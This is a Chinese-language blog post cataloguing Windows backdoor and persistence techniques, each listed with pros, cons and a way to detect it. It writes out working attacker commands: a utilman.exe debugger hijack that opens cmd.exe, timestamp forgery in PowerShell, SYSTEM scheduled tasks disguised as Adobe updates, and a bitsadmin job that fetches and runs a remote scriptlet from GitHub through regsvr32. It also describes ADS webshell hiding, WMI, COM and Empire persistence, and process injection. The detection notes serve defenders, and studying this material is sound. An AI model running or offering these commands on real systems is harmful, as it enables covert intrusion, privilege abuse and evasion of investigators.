这片文章中隐藏webshell我觉得很nice ... 进程注入以前试过 ... wmi 和 bitsadmin 可以了解下 ...
常见backdoor和persistence方式方法
系统工具替换后门
Image 劫持辅助工具管理器
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe" /t REG_SZ /v Debugger /d "C:\windows\system32\cmd.exe" /f
- 类似的程序有osk.exe、Narrator.exe、Magnify.exe等。
- 优点:简单
- 缺点:易被检测
- 排查:工具autoruns
文件隐藏
attrib命令隐藏(重点!)
使用ADS流隐藏webshell(重点!!)
- 使用ADS流隐藏webshell,目前可过D盾扫描,注意ADS的一句话木马无法直接连接,可以使用php的include去包含执行
文章参考:利用ADS隐藏webshell
文章参考: Windows ADS在渗透测试中的妙用 - 此外应该注意修改文件的timestamp,可使用如下的powershell命令或者使用NewFileTime工具
$(Get-Item ).creationtime=$(Get-Date "mm/dd/yyyy hh:mm am/pm")
$(Get-Item ).lastaccesstime=$(Get-Date "mm/dd/yyyy hh:mm am/pm")
$(Get-Item ).lastwritetime=$(Get-Date "mm/dd/yyyy hh:mm am/pm")
example:
Set the last-access time for a file aaa.csv to the current time: $(Get-Item aaa.csv).lastwritetime=$(Get-Date)
Set the creation time of a file foo.txt to November 24, 2015, at 6:00am: $(Get-Item foo.txt).creationtime=$(Get-Date "11/24/2015 06:00 am")
- 优点:较难检测
- 缺点:暂无
- 排查: dir /r
计划任务
- schtasks和at命令,例如下面的命令
#from https://github.com/diggles9991/MG/blob/master/XMR/Hook.ps1#L12
# Update scheduled Start Task
SCHTASKS /Delete /tn "AdobeReaderUpdate" /f
SCHTASKS /Create /RU "SYSTEM" /tn "AdobeReaderUpdate" /sc Weekly /d * /st 18:00:00 /tr "powershell.exe C:\Windows\System32\drivers\en-US\etc\Line.ps1"
# Update scheduled End Task
# SCHTASKS /Delete /tn "AdobeReaderUpdateEnd" /f
SCHTASKS /Create /RU "SYSTEM" /tn "AdobeReaderUpdateEnd" /sc Weekly /d MON,TUE,WED,THU,FRI /st 06:00:00 /tr "powershell.exe Stop-Process -Name $processname"
- 优点:简单
- 缺点:易被检测
- 排查: schtasks /query 命令进行查询或者通过计算机的管理查看,注意在windows的中文版系统中,schtasks命令需要切换字符为美国英语格式,使用命令chcp 437,或者直接工具autoruns。
开机启动项
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
等
- 优点:重启权限维持
- 缺点:一般杀软均会拦截
- 排查:一个一个手工查太麻烦,建议直接上autoruns。
服务
sc create [ServerName] binPath= BinaryPathName
- 优点:重启权限维持
- 缺点:一般杀软会拦截
- 排查:工具autoruns
waitfor.exe
- 不支持自启动,但可远程主动激活,后台进程显示为waitfor.exe
详细参考 - 优点:远程主动激活
- 缺点:有waitfor进程
- 排查:通过Process Explorer工具查看是否有waitfor.exe进程,并进一步查看启动参数等。
bitsadmin后门
- Bitsadmin从win7之后操作系统就默认包含,可以用来创建上传或者下载任务。Bistadmin可以指定下载成功之后要进行什么命令。后门就是利用的下载成功之后进行命令执行。
#创建一个下载任务:
bitsadmin /create backdoor
#添加文档:
bitsadmin /addfile backdoor %comspec% %temp%\cmd.exe
#设置下载成功之后要执行的命令:
bitsadmin.exe /SetNotifyCmdLine backdoor regsvr32.exe "/u /s /i:https://raw.githubusercontent.com/3gstudent/SCTPersistence/master/calc.sct scrobj.dll"
#执行任务:
bitsadmin /Resume backdoor
- 可以参考这篇文章
bitsadmin-backdoor-权限维持后门 - 优点:系统自带无需上传
- 缺点:免杀效果一般
- 排查:bitsadmin /list /verbose
WMI后门(重点!)
- 在2015年的blackhat大会上Matt Graeber介绍了一种无文件后门就是用的wmi。更多可以参考
- 在empire中有相应的module,作者参考使用了Powersploit里面的代码。
- 后门在系统重启五分钟之内触发且是system权限。
- 优点:无文件,相对来说难以排查
- 缺点:暂无
- 排查:工具autoruns
COM劫持
- 可以参考文章打开文件夹就运行?COM劫持利用新姿势
- 利用CLR实现一种无需管理员权限的后门 "主动型"后门,WMI添加环境变量需要重启系统生效
- 优点:隐藏性较好,autoruns查不到
- 缺点:暂无
- 排查:检查环境变量和注册表键值
meterpreter 权限维持
- meterpreter中的权限维持技术有两种,一种是metsvc的后门(服务后门),另外一种是persistence(注册表后门)
- metsvc 是开机自启动的服务型后门
metsvc代码 - persistence模块是先上传vbs脚本并执行vbs脚本修改注册表HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run从而完成自启动。
persistence代码 - 优点:开机自启动
- 缺点:容易被杀软杀
- 排查:像是这种后门使用autoruns基本都可以排查出来。
Empire persistence模块(重点!!)
- Empire是一款功能非常强大的后渗透攻击框架。其中的persistence模块提供了一系列权限维持方法。
- 工具还把权限维持分为了四大类,userland(普通权限)、elevated(需要高权限)、powerbreach(内存权限维持,重启后失效)、miscellaneous(其它)。
- 通过info命令查看使用方法
更多可以参考文章 - 优点:基本集成了大部分的权限维持方法
- 缺点:暂无
- 排查:工具autoruns
进程注入(重点!!)
- 准确来说进程注入不是后门技术或者权限维持技术,而是一种隐藏技术,这里简单说一下empire的psinject、cobaltstrike的inject和meterpreter中的migrate进程注入,一般可以注入到像是lsass或者explorer这样的进程当中,相对比较隐蔽,较难排查。
- 使用方法这里就不介绍了,主要说一下如何hunting。这篇文章TALES OF A BLUE TEAMER: DETECTING POWERSHELL EMPIRE SHENANIGANS WITH SYSINTERNALS里面介绍了如何hunting empire方法,empire有一些evasion detection机制,其中的网络连接时间设置能有效避开常见主机流量检测工具(包括netstat、tcpview)的检测,文章中也介绍了使用process monitor是最快也是最有效的方法。
- 但是在hunting 进程注入的时候,并没有像文章中说的查找到以起始地址为0x0的线程,但会发现被注入的进程属性里会有.NET Assemblies和.NET Performance两个菜单。如下图所示
- 优点:较难排查
- 缺点:暂无
- 排查:工具process explorer 、process monitor
other
- 除了以上的几种后门和权限维持技术外还有像是dll劫持、一些软件的插件后门、office后门等。
- 抛砖引玉,更多windows backdoor方面最新文章可以关注国外安全研究员Casey Smith@subTee和Adam@Hexacorn。
- 附上本人博客地址,欢迎一起交流学习:> https://kevien.github.io/